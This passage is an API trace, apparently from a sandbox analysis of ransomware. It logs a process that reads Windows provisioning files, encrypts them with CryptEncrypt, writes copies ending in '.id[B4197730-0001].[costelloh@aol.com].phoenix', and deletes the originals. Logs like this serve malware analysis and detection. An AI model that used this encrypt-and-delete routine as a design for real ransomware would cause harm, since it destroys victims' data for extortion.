	[0247.142] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.142] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0247.142] CryptDestroyKey (hKey=0x151100) returned 1
	[0247.142] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0247.142] CryptDestroyKey (hKey=0x151440) returned 1
	[0247.142] CloseHandle (hObject=0x2c4) returned 1
	[0247.143] CloseHandle (hObject=0x2d4) returned 1
	[0247.160] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\291__connections_cellular_kpn-hi (netherlands)_i9$(__mvid)@wap.provxml")) returned 1
	[0247.165] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.165] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\295__connections_cellular_telfort (netherlands)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.173] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=728) returned 1
	[0247.173] CloseHandle (hObject=0x2b4) returned 1
	[0247.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\295__connections_cellular_telfort (netherlands)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0247.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\295__connections_cellular_telfort (netherlands)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.174] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\295__connections_cellular_telfort (netherlands)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.175] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.175] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.175] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\295__connections_cellular_telfort (netherlands)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.175] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1517c0) returned 1
	[0247.175] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.175] ReadFile (in: hFile=0x2f0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d8, lpOverlapped=0x0) returned 1
	[0247.184] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0247.184] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0247.184] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151440) returned 1
	[0247.185] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.185] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0247.185] CryptDestroyKey (hKey=0x151440) returned 1
	[0247.185] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0247.185] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0247.185] CloseHandle (hObject=0x2f0) returned 1
	[0247.185] CloseHandle (hObject=0x2b0) returned 1
	[0247.185] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\295__connections_cellular_telfort (netherlands)_i1$(__mvid)@wap.provxml")) returned 1
	[0247.186] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.186] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\297__connections_cellular_t-mobile netherlands (netherlands)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.186] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=743) returned 1
	[0247.186] CloseHandle (hObject=0x2b0) returned 1
	[0247.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\297__connections_cellular_t-mobile netherlands (netherlands)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\297__connections_cellular_t-mobile netherlands (netherlands)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.186] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\297__connections_cellular_t-mobile netherlands (netherlands)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.187] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.187] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.187] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\297__connections_cellular_t-mobile netherlands (netherlands)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.187] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151500) returned 1
	[0247.187] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.187] ReadFile (in: hFile=0x2b0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2e7, lpOverlapped=0x0) returned 1
	[0247.193] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2f0, dwBufLen=0x2f0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2f0) returned 1
	[0247.193] WriteFile (in: hFile=0x2f0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2f0, lpOverlapped=0x0) returned 1
	[0247.194] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151280) returned 1
	[0247.194] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.194] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0, dwBufLen=0xd0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0) returned 1
	[0247.194] CryptDestroyKey (hKey=0x151280) returned 1
	[0247.194] WriteFile (in: hFile=0x2f0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x182, lpOverlapped=0x0) returned 1
	[0247.194] CryptDestroyKey (hKey=0x151500) returned 1
	[0247.194] CloseHandle (hObject=0x2b0) returned 1
	[0247.194] CloseHandle (hObject=0x2f0) returned 1
	[0247.194] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\297__connections_cellular_t-mobile netherlands (netherlands)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.195] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.195] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\299__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.196] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=480) returned 1
	[0247.196] CloseHandle (hObject=0x2f0) returned 1
	[0247.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\299__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0247.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\299__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.196] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\299__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.196] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.196] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.197] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\299__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.197] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151440) returned 1
	[0247.197] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.197] ReadFile (in: hFile=0x2f0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1e0, lpOverlapped=0x0) returned 1
	[0247.198] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1f0) returned 1
	[0247.198] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1f0, lpOverlapped=0x0) returned 1
	[0247.199] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151600) returned 1
	[0247.200] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.200] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0247.200] CryptDestroyKey (hKey=0x151600) returned 1
	[0247.200] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0247.200] CryptDestroyKey (hKey=0x151440) returned 1
	[0247.200] CloseHandle (hObject=0x2f0) returned 1
	[0247.200] CloseHandle (hObject=0x2b0) returned 1
	[0247.200] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\299__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0247.201] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.201] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\29__connections_cellular_tele.ring (austria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.202] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=844) returned 1
	[0247.202] CloseHandle (hObject=0x2b0) returned 1
	[0247.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\29__connections_cellular_tele.ring (austria)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\29__connections_cellular_tele.ring (austria)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.202] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\29__connections_cellular_tele.ring (austria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.202] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.202] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.202] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\29__connections_cellular_tele.ring (austria)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.203] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1510c0) returned 1
	[0247.203] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.203] ReadFile (in: hFile=0x2b0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x34c, lpOverlapped=0x0) returned 1
	[0247.213] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x350, dwBufLen=0x350 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x350) returned 1
	[0247.213] WriteFile (in: hFile=0x2f0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x350, lpOverlapped=0x0) returned 1
	[0247.214] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151040) returned 1
	[0247.214] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.214] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0247.214] CryptDestroyKey (hKey=0x151040) returned 1
	[0247.214] WriteFile (in: hFile=0x2f0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0247.214] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0247.214] CloseHandle (hObject=0x2b0) returned 1
	[0247.214] CloseHandle (hObject=0x2f0) returned 1
	[0247.214] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\29__connections_cellular_tele.ring (austria)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.216] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.216] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\300__connections_cellular_2degrees (new zealand)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.217] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=720) returned 1
	[0247.217] CloseHandle (hObject=0x2b0) returned 1
